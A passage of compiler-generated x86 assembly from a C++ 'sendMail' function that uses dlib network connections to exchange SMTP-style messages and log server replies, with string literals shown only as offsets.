>::~basic_string<char,std::char_traits<char>,std::allocator<char> > mov BYTE PTR __$EHRec$[ebp+12], 0 lea ecx, DWORD PTR _subject$[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > mov DWORD PTR __$EHRec$[ebp+12], -1 lea ecx, DWORD PTR _msg$[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > mov al, BYTE PTR $T369516[ebp] jmp $LN8@sendMail $LN3@sendMail: ; Line 98 push 200 ; 000000c8H push 256 ; 00000100H lea eax, DWORD PTR _sBuffer$151621[ebp] push eax lea ecx, DWORD PTR _con$151653[ebp] call ??C?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QBEPAVconnection@1@XZ ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::operator-> mov ecx, eax call ?read@connection@dlib@@QAEJPADJK@Z ; dlib::connection::read ; Line 99 push OFFSET $SG-68237 push OFFSET $SG-68238 lea ecx, DWORD PTR $T151706[ebp] call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::basic_string<char,std::char_traits<char>,std::allocator<char> > mov DWORD PTR tv787[ebp], eax mov ecx, DWORD PTR tv787[ebp] mov DWORD PTR tv717[ebp], ecx mov BYTE PTR __$EHRec$[ebp+12], 26 ; 0000001aH sub esp, 28 ; 0000001cH mov edx, esp mov DWORD PTR $T369517[ebp], esp lea eax, DWORD PTR _sBuffer$151621[ebp] push eax mov ecx, DWORD PTR tv717[ebp] push ecx push edx call ??$?HDU?$char_traits@D@std@@V?$allocator@D@1@@std@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@$$QAV10@PBD@Z ; std::operator+<char,std::char_traits<char>,std::allocator<char> > add esp, 12 ; 0000000cH mov DWORD PTR tv720[ebp], eax call ?message@log@helper@@YAXV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PBD@Z ; helper::log::message add esp, 32 ; 00000020H mov BYTE PTR __$EHRec$[ebp+12], 17 ; 00000011H lea ecx, DWORD PTR $T151706[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > ; Line 102 lea edx, DWORD PTR _smtp_address$151623[ebp] push edx push OFFSET $SG-68240 lea eax, DWORD PTR $T151711[ebp] push eax call ??$?HDU?$char_traits@D@std@@V?$allocator@D@1@@std@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBDABV10@@Z ; std::operator+<char,std::char_traits<char>,std::allocator<char> > add esp, 12 ; 0000000cH mov DWORD PTR tv788[ebp], eax mov ecx, DWORD PTR tv788[ebp] mov DWORD PTR tv722[ebp], ecx mov BYTE PTR __$EHRec$[ebp+12], 27 ; 0000001bH push OFFSET $SG-68239 mov edx, DWORD PTR tv722[ebp] push edx lea eax, DWORD PTR $T151712[ebp] push eax call ??$?HDU?$char_traits@D@std@@V?$allocator@D@1@@std@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@$$QAV10@PBD@Z ; std::operator+<char,std::char_traits<char>,std::allocator<char> > add esp, 12 ; 0000000cH mov DWORD PTR tv789[ebp], eax mov ecx, DWORD PTR tv789[ebp] mov DWORD PTR tv724[ebp], ecx mov BYTE PTR __$EHRec$[ebp+12], 28 ; 0000001cH mov edx, DWORD PTR tv724[ebp] push edx lea ecx, DWORD PTR _tmpStr$151622[ebp] call ??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@$$QAV01@@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::operator= mov BYTE PTR __$EHRec$[ebp+12], 27 ; 0000001bH lea ecx, DWORD PTR $T151712[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > mov BYTE PTR __$EHRec$[ebp+12], 17 ; 00000011H lea ecx, DWORD PTR $T151711[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > ; Line 103 lea eax, DWORD PTR _to$[ebp] push eax push OFFSET $SG-68242 lea ecx, DWORD PTR $T151715[ebp] push ecx call ??$?HDU?$char_traits@D@std@@V?$allocator@D@1@@std@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBDABV10@@Z ; std::operator+<char,std::char_traits<char>,std::allocator<char> > add esp, 12 ; 0000000cH mov DWORD PTR tv790[ebp], eax mov edx, DWORD PTR tv790[ebp] mov DWORD PTR tv726[ebp], edx mov BYTE PTR __$EHRec$[ebp+12], 29 ; 0000001dH push OFFSET $SG-68241 mov eax, DWORD PTR tv726[ebp] push eax lea ecx, DWORD PTR $T151716[ebp] push ecx call ??$?HDU?$char_traits@D@std@@V?$allocator@D@1@@std@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@$$QAV10@PBD@Z ; std::operator+<char,std::char_traits<char>,std::allocator<char> > add esp, 12 ; 0000000cH mov DWORD PTR tv791[ebp], eax mov edx, DWORD PTR tv791[ebp] mov DWORD PTR tv728[ebp], edx mov BYTE PTR __$EHRec$[ebp+12], 30 ; 0000001eH mov eax, DWORD PTR tv728[ebp] push eax lea ecx, DWORD PTR _tmpStr$151622[ebp] call ??Y?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::operator+= mov BYTE PTR __$EHRec$[ebp+12], 29 ; 0000001dH lea ecx, DWORD PTR $T151716[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > mov BYTE PTR __$EHRec$[ebp+12], 17 ; 00000011H lea ecx, DWORD PTR $T151715[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > ; Line 104 lea ecx, DWORD PTR _subject$[ebp] push ecx push OFFSET $SG-68244 lea edx, DWORD PTR $T151719[ebp] push edx call ??$?HDU?$char_traits@D@std@@V?$allocator@D@1@@std@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBDABV10@@Z ; std::operator+<char,std::char_traits<char>,std::allocator<char> > add esp, 12 ; 0000000cH mov DWORD PTR tv792[ebp], eax mov eax, DWORD PTR tv792[ebp] mov DWORD PTR tv730[ebp], eax mov BYTE PTR __$EHRec$[ebp+12], 31 ; 0000001fH push OFFSET $SG-68243 mov ecx, DWORD PTR tv730[ebp] push ecx lea edx, DWORD PTR $T151720[ebp] push edx call ??$?HDU?$char_traits@D@std@@V?$allocator@D@1@@std@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@$$QAV10@PBD@Z ; std::operator+<char,std::char_traits<char>,std::allocator<char> > add esp, 12 ; 0000000cH mov DWORD PTR tv793[ebp], eax mov eax, DWORD PTR tv793[ebp] mov DWORD PTR tv732[ebp], eax mov BYTE PTR __$EHRec$[ebp+12], 32 ; 00000020H mov ecx, DWORD PTR tv732[ebp] push ecx lea ecx, DWORD PTR _tmpStr$151622[ebp] call ??Y?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::operator+= mov BYTE PTR __$EHRec$[ebp+12], 31 ; 0000001fH lea ecx, DWORD PTR $T151720[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > mov BYTE PTR __$EHRec$[ebp+12], 17 ; 00000011H lea ecx, DWORD PTR $T151719[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > ; Line 106 push OFFSET $SG-68245 lea ecx, DWORD PTR _tmpStr$151622[ebp] call ??Y?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::operator+= ; Line 108 push OFFSET $SG-68246 lea edx, DWORD PTR _msg$[ebp] push edx lea eax, DWORD PTR $T151724[ebp] push eax call ??$?HDU?$char_traits@D@std@@V?$allocator@D@1@@std@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@PBD@Z ; std::operator+<char,std::char_traits<char>,std::allocator<char> > add esp, 12 ; 0000000cH mov DWORD PTR tv794[ebp], eax mov ecx, DWORD PTR tv794[ebp] mov DWORD PTR tv734[ebp], ecx mov BYTE PTR __$EHRec$[ebp+12], 33 ; 00000021H mov edx, DWORD PTR tv734[ebp] push edx lea ecx, DWORD PTR _tmpStr$151622[ebp] call ??Y?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::operator+= mov BYTE PTR __$EHRec$[ebp+12], 17 ; 00000011H lea ecx, DWORD PTR $T151724[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > ; Line 109 push OFFSET $SG-68247 lea ecx, DWORD PTR _tmpStr$151622[ebp] call ??Y?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::operator+= ; Line 111 lea ecx, DWORD PTR _tmpStr$151622[ebp] call ?size@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEIXZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::size mov esi, eax lea ecx, DWORD PTR _tmpStr$151622[ebp] call ?size@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEIXZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::size push eax lea ecx, DWORD PTR _tmpStr$151622[ebp] call ?data@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::data push eax lea ecx, DWORD PTR _con$151653[ebp] call ??C?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QBEPAVconnection@1@XZ ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::operator-> mov ecx, eax call ?write@connection@dlib@@QAEJPBDJ@Z ; dlib::connection::write cmp eax, esi je SHORT $LN2@sendMail ; Line 112 mov BYTE PTR $T369518[ebp], 0 mov BYTE PTR __$EHRec$[ebp+12], 12 ; 0000000cH lea ecx, DWORD PTR _con$151653[ebp] call ??1?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QAE@XZ ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::~scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> > mov BYTE PTR __$EHRec$[ebp+12], 7 lea ecx, DWORD PTR _smtp_address$151623[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > mov BYTE PTR __$EHRec$[ebp+12], 6 lea ecx, DWORD PTR _tmpStr$151622[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > mov BYTE PTR __$EHRec$[ebp+12], 3 lea ecx, DWORD PTR _config$151618[ebp] call ??1?$config_reader_kernel_1@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@dlib@@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@2@Vtokenizer_kernel_1@2@@dlib@@UAE@XZ ; dlib::config_reader_kernel_1<dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::tokenizer_kernel_1>::~config_reader_kernel_1<dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::tokenizer_kernel_1> mov BYTE PTR __$EHRec$[ebp+12], 1 lea ecx, DWORD PTR _to$[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > mov BYTE PTR __$EHRec$[ebp+12], 0 lea ecx, DWORD PTR _subject$[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > mov DWORD PTR __$EHRec$[ebp+12], -1 lea ecx, DWORD PTR _msg$[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > mov al, BYTE PTR $T369518[ebp] jmp $LN8@sendMail $LN2@sendMail: ; Line 114 push 200 ; 000000c8H push 256 ; 00000100H lea eax, DWORD PTR _sBuffer$151621[ebp] push eax lea ecx, DWORD PTR _con$151653[ebp] call ??C?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QBEPAVconnection@1@XZ ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::operator-> mov ecx, eax call ?read@connection@dlib@@QAEJPADJK@Z ; dlib::connection::read ; Line 115 push OFFSET $SG-68248 push OFFSET $SG-68249 lea ecx, DWORD PTR $T151730[ebp] call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::basic_string<char,std::char_traits<char>,std::allocator<char> > mov DWORD PTR tv795[ebp], eax mov ecx, DWORD PTR tv795[ebp] mov DWORD PTR tv743[ebp], ecx mov BYTE PTR __$EHRec$[ebp+12], 34 ; 00000022H sub esp, 28 ; 0000001cH mov edx, esp mov DWORD PTR $T369519[ebp], esp lea eax, DWORD PTR _sBuffer$151621[ebp] push eax mov ecx, DWORD PTR tv743[ebp] push ecx push edx call ??$?HDU?$char_traits@D@std@@V?$allocator@D@1@@std@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@$$QAV10@PBD@Z ; std::operator+<char,std::char_traits<char>,std::allocator<char> > add esp, 12 ; 0000000cH mov DWORD PTR tv746[ebp], eax call ?message@log@helper@@YAXV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PBD@Z ; helper::log::message add esp, 32 ; 00000020H mov BYTE PTR __$EHRec$[ebp+12], 17 ; 00000011H lea ecx, DWORD PTR $T151730[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > ; Line 118 push OFFSET $SG-68250 lea ecx, DWORD PTR _tmpStr$151622[ebp] call ??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::operator= ; Line 119 lea ecx, DWORD PTR _tmpStr$151622[ebp] call ?size@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEIXZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::size mov esi, eax lea ecx, DWORD PTR _tmpStr$151622[ebp] call ?size@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEIXZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::size push eax lea ecx, DWORD PTR _tmpStr$151622[ebp] call ?data@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::data push eax lea ecx, DWORD PTR _con$151653[ebp] call ??C?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QBEPAVconnection@1@XZ ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::operator-> mov ecx, eax call ?write@connection@dlib@@QAEJPBDJ@Z ; dlib::connection::write cmp eax, esi je SHORT $LN1@sendMail ; Line 120 mov BYTE PTR $T369520[ebp], 0 mov BYTE PTR __$EHRec$[ebp+12], 12 ; 0000000cH lea ecx, DWORD PTR _con$151653[ebp] call ??1?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QAE@XZ ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::~scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> > mov BYTE PTR __$EHRec$[ebp+12], 7 lea ecx, DWORD PTR _smtp_address$151623[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > mov BYTE PTR __$EHRec$[ebp+12], 6 lea ecx, DWORD PTR _tmpStr$151622[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > mov BYTE PTR __$EHRec$[ebp+12], 3 lea ecx, DWORD PTR _config$151618[ebp] call ??1?$config_reader_kernel_1@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@dlib@@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@2@Vtokenizer_kernel_1@2@@dlib@@UAE@XZ ; dlib::config_reader_kernel_1<dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::tokenizer_kernel_1>::~config_reader_kernel_1<dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::tokenizer_kernel_1> mov BYTE PTR __$EHRec$[ebp+12], 1 lea ecx, DWORD PTR _to$[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > mov BYTE PTR __$EHRec$[ebp+12], 0 lea ecx, DWORD PTR _subject$[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > mov DWORD PTR __$EHRec$[ebp+12], -1 lea ecx, DWORD PTR _msg$[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > mov al, BYTE PTR $T369520[ebp] jmp $LN8@sendMail $LN1@sendMail: ; Line 122 push 200 ; 000000c8H push 256 ; 00000100H lea edx, DWORD PTR _sBuffer$151621[ebp] push edx lea ecx, DWORD PTR _con$151653[ebp] call ??C?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QBEPAVconnection@1@XZ ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::operator-> mov ecx, eax call ?read@connection@dlib@@QAEJPADJK@Z ; dlib::connection::read ; Line 123 push OFFSET $SG-68251 push OFFSET $SG-68252 lea ecx, DWORD PTR $T151739[ebp] call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::basic_string<char,std::char_traits<char>,std::allocator<char> > mov DWORD PTR tv796[ebp], eax mov eax, DWORD PTR tv796[ebp] mov DWORD PTR tv755[ebp], eax mov BYTE PTR __$EHRec$[ebp+12], 35 ; 00000023H sub esp, 28 ; 0000001cH mov ecx, esp mov DWORD PTR $T369521[ebp], esp lea edx, DWORD PTR _sBuffer$151621[ebp] push edx mov eax, DWORD PTR tv755[ebp] push eax push ecx call ??$?HDU?$char_traits@D@std@@V?$allocator@D@1@@std@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@$$QAV10@PBD@Z ; std::operator+<char,std::char_traits<char>,std::allocator<char> > add esp, 12 ; 0000000cH mov DWORD PTR tv758[ebp], eax call ?message@log@helper@@YAXV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PBD@Z ; helper::log::message add esp, 32 ; 00000020H mov BYTE PTR __$EHRec$[ebp+12], 17 ; 00000011H lea ecx, DWORD PTR $T151739[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > ; Line 125 push 500 ; 000001f4H lea ecx, DWORD PTR _con$151653[ebp] push ecx call ?close_gracefully@dlib@@YAXAAV?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@1@K@Z ; dlib::close_gracefully add esp, 8 ; Line 126 mov BYTE PTR __$EHRec$[ebp+12], 12 ; 0000000cH lea ecx, DWORD PTR _con$151653[ebp] call ??1?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QAE@XZ ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::~scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> > mov BYTE PTR __$EHRec$[ebp+12], 7 lea ecx, DWORD PTR _smtp_address$151623[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > mov BYTE PTR __$EHRec$[ebp+12], 6 lea ecx, DWORD PTR _tmpStr$151622[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > mov BYTE PTR __$EHRec$[ebp+12], 3 lea ecx, DWORD PTR _config$151618[ebp] call ??1?$config_reader_kernel_1@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@dlib@@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@2@Vtokenizer_kernel_1@2@@dlib@@UAE@XZ ; dlib::config_reader_kernel_1<dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> 